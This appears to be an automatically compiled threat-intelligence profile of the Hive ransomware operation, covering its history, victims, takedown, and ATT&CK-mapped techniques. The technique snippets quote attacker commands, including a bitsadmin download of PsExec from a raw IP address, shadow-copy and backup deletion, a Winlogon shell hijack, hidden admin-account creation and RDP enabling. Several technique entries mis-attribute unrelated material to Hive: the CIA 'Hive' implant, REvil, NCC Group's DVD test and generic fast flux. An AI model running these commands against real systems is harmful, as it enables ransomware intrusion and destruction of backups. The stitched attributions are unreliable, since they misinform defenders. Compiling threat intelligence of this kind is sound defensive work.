Hive
- Type
- Ransomware
- Capabilities
- ExfiltrationExtortion
- Delivery
- Phishing
- Platforms
- Esxi
Hive is a ransomware family and ransomware-as-a-service operation that emerged in June 2021. Its administrators developed the ransomware and supporting infrastructure, while affiliates selected victims and deployed the malware. Hive used double extortion: affiliates stole sensitive information before encrypting systems, then demanded payment for decryption and to prevent publication of the stolen data. Affiliates received 80 percent of ransom payments, with administrators retaining 20 percent.
Hive affiliates gained initial access through remote-access services, including RDP and VPN connections protected by single-factor authentication, exploitation of vulnerabilities, and phishing emails containing malicious attachments. Some intrusions used ScreenConnect, Atera, and Splashtop to maintain operator access before ransomware deployment. Hive developed Rust-based ransomware versions and targeted VMware ESXi infrastructure. Its ESXi attack behavior included powering off registered virtual machines to facilitate encryption.
Between June 2021 and January 2023, Hive affected approximately 1,500 victims across more than 80 countries and collected over $100 million in ransom payments. Victims included hospitals, school districts, financial firms, legal practices, and critical infrastructure organizations. Healthcare attacks disrupted patient care, including preventing a hospital from accepting new patients. Early affiliate Artem Stryzhak participated in Hive deployments against seven victims, including legal and healthcare organizations.
The FBI infiltrated Hive's infrastructure in July 2022 and obtained decryption keys that were distributed to victims. In January 2023, a coordinated international law-enforcement operation seized Hive's servers and websites, disrupting its ransomware and extortion infrastructure.
Associated vulnerabilities
9 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
7 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
ScreenConnect foothold followed by layered Atera/Splashtop access and Hive ransomware deployment within roughly 61 hours.
Entre 2020 et 2023, ils auraient utilisé les rançongiciels Ryuk et Conti, avant de prendre part aux programmes de Ransomware-as-a-Service (RaaS) des rançongiciels Hive, BlackCat et Nokoyawa.
In his role as a Hive affiliate, Stryzhak and his co-conspirators deployed Hive ransomware against seven victims, including law firms, a dentist office, and a healthcare provider during the COVID-19 pandemic.
Indictments returned in New Jersey and the District of Columbia allege that Matveev was involved in a conspiracy to distribute ransomware from three different strains or affiliate groups, including Babuk, Hive and LockBit.
DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently.
Authorities say Matveev played a major role in the development and deployment of the Hive, LockBit and Babuk ransomware variants...
+1 more in the app. View in Mallory
Techniques & procedures
57 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
She touted the recent FBI action taken to dismantle infrastructure used by the Hive ransomware group.
Initial Access
2 techniques
Initial Access
NCC Group carried out a physical malicious-media campaign, in which booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows...
On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file ... which propagated via F5 vulnerability
Execution
5 techniques
Execution
It also comes with support for a single command line parameter (-no-wipe). In contrast, Hive's Windows ransomware comes with up to 5 execution options, including killing processes and skipping disk cleaning, uninteresting files, and older files.
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup"
The new variant uses a different set of algorithms: Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Hive stops the following services: windefend, msmpsvc, kavsvc...
Persistence
7 techniques
Persistence
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following: Copy down batch scripts Execute batch scripts (file1.bat)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
Creates administrator account on the local system
net user <REDACTED> <REDACTED> /add ... net localgroup Administrators <REDACTED> /add
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Sets various registry values to ensure the created local administrator user will automatically logon by default Changes the Windows Shell from Explorer to their malicious script (file2.bat)
Privilege Escalation
7 techniques
Privilege Escalation
Execute batch scripts (file1.bat)... Changes the Windows Shell from Explorer to their malicious script (file2.bat) Reboots the system
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following: Copy down batch scripts Execute batch scripts (file1.bat)
...booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows in order to play a Christmas-related video, while unbeknown to the victim their computer was compromised remotely...
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment
Sets various registry values to ensure the created local administrator user will automatically logon by default Changes the Windows Shell from Explorer to their malicious script (file2.bat)
Stealth
13 techniques
Stealth
The new Hive variant uses string encryption that can make it more evasive. Strings reside in the .rdata section and are decrypted during runtime by XORing with constants.
The payloads are written in Go and packed with UPX.
Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)
0x02 Execute CMD with fake name "[kworker/3:1-events]"
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery.
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery... “vssadmin.exe delete shadows /all /quiet” “wmic.exe shadowcopy delete” “wbadmin.exe delete systemstatebackup” “wbadmin.exe delete catalog -quiet”
Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
As part of its ransomware activity, Hive typically runs processes that delete backups and prevent recovery... “vssadmin.exe delete shadows /all /quiet” “wmic.exe shadowcopy delete” “wbadmin.exe delete systemstatebackup” “bcdedit.exe /set {default} recoveryenabled No”
Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
wait for the Triggger IP message in a specific format ... Trigger Payload hidden in the message
Defense Impairment
5 techniques
Defense Impairment
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment
Like most sophisticated malware, Hive stops services and processes associated with security solutions and other tools that might get in the way of its attack chain. Hive tries to impersonate the process tokens of trustedinstaller.exe and winlogon.exe so it can stop Microsoft Defender Antivirus, among other services.
bcdedit /set {default} safeboot minimal
Credential Access
1 technique
Credential Access
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Discovery
8 techniques
Discovery
Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
Collect process, NIC, network connection, and routing information by executing the following 4 commands
The main function of the Trigger is to listen to all traffic ... Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages | Trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2
Collect process, NIC, network connection, and routing information
Hive stops the following processes: dbsnmp, dbeng50, bedbh, excel... outlook... teamviewer... oracle... winmgmt, *sql*
Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information
The discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host
By targeting virtual machines, ransomware operators can also encrypt multiple servers at once with a single command. In June, researchers spotted a new REvil ransomware Linux encryptor designed to target VMware ESXi virtual machines, a popular enterprise virtual machine platform.
Lateral Movement
6 techniques
Lateral Movement
The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP). This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
xcopy.exe /C/Q/H/Y/Z "\\<REDACTED>\sysvol\<REDACTED>\Policies\{<REDACTED>}\Machine\Scripts\Startup\file1.bat" "C:\windows"
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment.
NCC Group carried out a physical malicious-media campaign, in which booby-trapped DVDs were created which, when inserted within a victim’s computer, would abuse the autoplay feature of Windows...
Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).
Collection
2 techniques
Collection
Storing the ransomware within a 7zip encrypted archive (int.7z)
Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)
Command and Control
5 techniques
Command and Control
These servers are the public-facing side of the CIA back-end infrastructure and act as a relay for HTTP(S) traffic over a VPN connection to a "hidden" CIA server called 'Blot'.
0x09 Socket5 Proxy
Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).
its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions
Fast flux refers to a domain-based technique that is characterized by rapidly changing the DNS records (e.g., IP addresses) associated with a single domain [T1568.001].
Exfiltration
1 technique
Exfiltration
The disclosure comes as the U.S. Federal Bureau of Investigation (FBI) released a Flash report detailing the tactics of a new Ransomware-as-a-Service (RaaS) outfit known as Hive, consisting of a number of actors who are using multiple mechanisms to compromise business networks, exfiltrate data and encrypt data on the networks, and attempt to collect a ransom in exchange for access to the decryption software.
Impact
6 techniques
Impact
The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies... deleting backup catalogs
The Hive ransomware gang now also encrypts Linux and FreeBSD using new malware variants specifically developed to target these platforms.
Hive stops the following services: windefend, msmpsvc, kavsvc... veeam, backup, vss, msexchange, mysql...
"vssadmin.exe delete shadows /all /quiet" "wmic.exe shadowcopy delete" "wbadmin.exe delete systemstatebackup" "wbadmin.exe delete catalog -quiet" "bcdedit.exe /set {default} recoveryenabled No"
shutdown -r -f -t 10 -c "Computer Will Now Restart In SAFE MODE..."
when organizations being held for ransom decline to cooperate or pay up, any data stolen from the victim should be published on the Russian cybercrime forums for all to plunder
Observables
129 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
172 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.